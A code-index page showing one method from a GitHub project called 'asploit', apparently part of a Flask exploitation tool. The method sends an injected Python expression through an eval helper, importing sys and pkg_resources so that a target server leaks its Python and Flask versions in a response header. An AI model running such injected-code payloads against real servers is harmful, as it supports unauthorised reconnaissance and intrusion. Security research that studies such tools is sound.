MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__version

Method _Base__version

src/FlaskExploitProcessor.py:54–63  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

52 @brief See base class for details.
53 """
54 def _Base__version(self, options: str):
55 res = self.__eval(
56 f"r.headers['{self.header}']=f\"{{"
57 f"'.'.join(map(str, __import__('sys').version_info[:3]))"
58 f"}}|{{"
59 f"__import__('pkg_resources')."
60 f"get_distribution('flask').version"
61 f"}}\";")
62 print("Python Version: " + res.split('|')[0] +
63 "\nFlask Version: " + res.split('|')[1])
64
65 """
66 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected